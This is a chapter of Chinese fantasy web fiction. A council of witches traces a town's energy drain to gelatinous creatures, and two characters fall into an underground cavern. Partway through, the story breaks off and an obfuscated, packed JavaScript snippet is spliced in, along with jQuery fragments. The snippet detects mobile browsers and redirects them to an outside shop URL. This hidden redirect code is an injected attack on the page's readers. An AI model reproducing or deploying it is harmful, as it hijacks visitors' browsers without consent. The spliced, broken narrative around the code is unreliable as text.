贤者会的成员们正在开会。
她们开会的地点选在星语者的天文台,这里的主人被安放在屋子的一角,盯着谁也不确定在哪里的什么东西念念有词。其余的成员则在屋子中央围成一圈,脸上的神情都十分严峻。
现在发言的人是贤者会最年轻的成员莫伊拉。
她拿着一份除了她自己(或许还有莫伊拉二号)估计没人能看得懂的笔记,边两眼飞快地在上面扫视边说道:“……因此,经过近期的观察,虽然依然无法确定这种栖居于地下的生物是什么,但已经可以确定它们与小镇能量流失事件有着密切相关。且根据近几日,小镇能量储备从较为稳定平滑地下降,转变为有明显波动的同时整体下降且速度更快,可看出它们正处于活跃状态。这肯定不是什么好消息,但也确实方便了我们追根溯源,直接找到它们在地下的巢穴。”
“所以——二号,”她呼唤自己的助手,“探测器……呃,我是说新款。”
莫伊拉二号从无限口袋中取出一台比起探测器更像钻探机的机器,因为小棚屋还是太狭小了一些,所以直接放在了外面的空地上,与会者们不由都觉得接着待在屋里面也没什么意义,于是纷纷走了出去。
星语者留在屋里,跟预言鸡大眼瞪小眼。
“咕?”她说。
“咕!”预言鸡回答。
屋外面,莫伊拉调试了一下探测器上的各个旋钮,随后按了开始键。
几乎是立刻,探测器仪表盘上的指针开始了高频率的摆动。
莫伊拉观察着指针的读书,嘴唇不断开合,隐约能听到几个模糊的数字,似乎是在做高速的口算。然后她说:“我们的动作得快点了,它们的移动速度比我估算的要快,而且已经在朝地表移动。”
她喊道:“二号,把探测器搬到离这里最近的地下管道去。”
其余人也凑上前去想要帮忙。
这时,仪表盘的指针从摆动变成了方向明确的转动,在升到最大读数之后顶住盘格再也无法动弹。正从指尖伸出卷须,想要帮忙搬运探测器的鲁特只来得及发出一声模糊的呻吟,身体就已经完成了枝叶从泛黄到干枯,随风飞逝到只剩一根枯瘦藤条的全过程。
周围人见状皆骇然,唯有莫伊拉虽然也露出惊讶的神色,手上却依旧不慌不忙,从口袋里掏出一个狭长的玻璃瓶,将鲁特变为的那根藤条装了进去。
“它们快要上来了。”莫伊拉说道。
实际上她已经不用说出口,因为无论是能量的波动,还是那种粘腻的、沉闷的震动感,都已经在告诉她们:有东西要来了。
“需要有个人把信息传递出去,”莫伊拉的语速比之前快了将近一倍,“现在这种情况,对环境能量浓度敏感的镇民都会受到极大影响,必须把她们统一保护在对魔法绝缘的密闭空间中。”
阿加莎下意识地说:“回声呢?她可以立刻把消息传给警局那边的人。”然后她反应过来:“回声现在恐怕无法回答我们。”
阿加莎立刻做出决断:“贝拉,你动作快,现在立刻赶往镇广场,告诉菲比警官现在的情况,让她尽快采取措施。之后我们在地下管道会和。”
没等贝拉回话,一清亮一沙哑的两个声音从空中传来:“不用她去/放着我来!”
原来是莉娜和卡翠娜,正拍打翅膀悬停在空中。
“我们可以去给菲比警长通风报信。”莉娜说道。
卡翠娜也跟着说:“你们集中精力解决地下来的情况就行了,我们保证把消息送到。”
阿加莎没有太多犹豫的时间,她必须立刻做出决断:“好的。请你们务必把消息准确送达。”
“伙计们!”阿加莎招呼着自己的同伴,“那我们就全力以赴,解决眼下的问题吧!”
莉娜和卡翠娜一路呼啸着飞到镇广场,半途中发现了正焦急地在路面上奔跑的叽叽。
“叽叽警官,你是在找莫伊拉她们吗?”莉娜问道。
卡翠娜则已飞了下去,用鸟爪把叽叽抓了起来,从她的反应来看,应该没被抓痛。
莉娜说:“我们已经得到消息了,现在我们一起去找菲比警长她们吧。”
镇广场此时正陷入一场小小的混乱,之所以形容为“小小的”,是因为水豚警官查莉在场,有她在的地方,即便发生了混乱也不至于发展到彻底失控的地步。似乎只要看到她动作稍显迟缓的身躯,和平静淡然的神情,大家就会不由自主地觉得:好像也没多大事。
尽管如此,她们的情绪还是十分恐慌。因为就在刚才,被组织着排队进入帐篷的管道动物中的史莱姆们,仿佛忽然被抽空了一般,变成了一张张薄薄的胶皮。
“保持镇定,不要惊慌!”菲比一边尽力喊着,一边上蹿下跳抓住几张随风舞起的史莱姆胶皮。
查莉也慢悠悠地喊着:“各位请帮忙按住身边的……发生变化的史莱姆镇民,不要让她们被风吹走。这样我们才有条件在之后帮助她们恢复原状。”
惊恐万状的镇民们照做了。
在万分焦急地等到了叽叽和随之而来的莉娜跟卡翠娜、并听完她们带来的消息之后,菲比警长快速地从口袋里拿出厚厚的一摞文件袋:“警局的文件袋都是魔法绝缘体,现在先用它们顶上。”
莉娜和卡翠娜则带着几个文件袋,去镇上找其余的能量敏感型镇民了。
广场上的大家手忙脚乱地开始把满地的史莱姆胶皮装进文件袋里,一方面要提防被风吹走,一方面要小心别把胶皮给扯破了,一时间画面十分混乱。
在广场装袋工作接近尾声的时候,地面的震动已经逐渐变得剧烈,没等菲比把封装好的文件袋统一收好,一阵地动山摇的震动几乎使在场所有使用四条以下的腿站立的镇民都摔了个结实。
没等凯西从珀尔在她眼前变成鱼的冲击性画面中恢复过来,她脚下的地面就发生了开裂。那种感觉,像是有什么极其富有弹性的东西在从下面往上,一下一下地顶撞着。她抱紧怀里的鱼和相机,跟着佩妮一起朝侧旁的管壁靠近,想要小心翼翼地朝出口走去。
但是地下管道已经再也承受不住自下而上的冲击,一团巨大的胶质物从崩开的裂口弹了上来,随后毫不迟缓地从她们挤过,朝着地表去了。
然后,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16639953|184864||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
凯西和佩妮经过这样一番折腾,双双失去平衡,从胶质物上来的洞口掉了下去。
这一掉,就掉了个没完没了。
鬼知道这东西是从多深的地方上来的,凯西只能从自己耳边呼啸而过的风声判断出下坠的速度正越来越快,不得不去担心掉到底的时候能有哪块骨头是没粉碎掉的。
好消息是,想从这条通道上去的胶质物体并不只有刚才一只,实际上有很多只,每一只都长得又大又弹又滑。
大意味着每当她们碰到一只,基本两人能同时被它的顶部托住那么一瞬间。
弹意味着当她们撞上胶质生物的顶部时,不至于撞出伤来。
滑则意味着,无论她们怎么努力,都无法在任何一只的顶部停留太久,所以只能一个劲地往下掉。
凯西最开始往下掉的时候其实是尖叫过一段挺长的时间的。
所以等到她平静地接受了自己正在朝不知道有多深的地方一个劲往下掉的事实的时候,她的嗓子已经哑了。
她用这种沙哑的声音问她的搭档:“佩妮,你不会刚好身上还带了那种带钩子的攀登绳吧。”
佩妮的声音倒是没哑:“本来带了。但是刚才你恐慌发作失去意识的时候,我尝试用它减缓我们下落的势头,结果钩爪被往上爬的那些东西给挤得松脱掉了。”
“……好吧。”
于是凯西再也没说过话,直到她们总算落到了底。
最后落地的时候,她们也是先落到一个弹力十足的胶状物顶部,然后向侧边飞出,一路在地面上翻滚着,最终还是被摩擦力给停了下来。
经过这么一番折腾,凯西感觉浑身的擦伤火辣辣地痛,简直想躺在地上永远都不起来。
但她不得不起来,因为有一件事情让她心中一惊,差点连魂都吓飞了。
在她怀里抱着的两样东西,相机还好好的,一路颠簸也没摸出有明显破损。
珀尔变的那条鱼不见了。
凯西先是在自己怀里瞎摸一通,然后开始把手伸进外套上缝的收纳口袋,一边拼命地在脑子里默念“鱼”,最后摸出来的只有她博览会那天在玛吉那里买了忘吃的鱼肉馅饼——她那天买了好几种口味,最后实在吃不完了。
口袋里也没找到之后,凯西开始用手掌一寸一寸地探索身旁的地面,甚至考虑过要不要把手指伸到身上的伤口里找找。
她最后的心理活动实际已经说明了,在突如其来的意外之后,又是处在一个极度黑暗的环境中,凯西已经暂时失去了正常思考的能力,想不到如果珀尔真的进了她的伤口,她是绝没有可能感觉不到的。
就在这时,落地之后就从口袋里摸出手电筒的佩妮摸到了上面的开关,打开了灯,朝凯西的方向找过去。
“你没事吧?”她问道,然后瞪大了眼睛,目光落在凯西怀里的相机上。
凯西低头一看,她的照相机,镜头里正往外反射着银亮的光。那条小小的鱼,不知一路上经过了怎样一番挣扎,最后竟躲到了相机的镜头里。它那光洁的鳞片,一经照射就闪闪发亮,所以佩妮开灯后几乎是一眼就看到了它。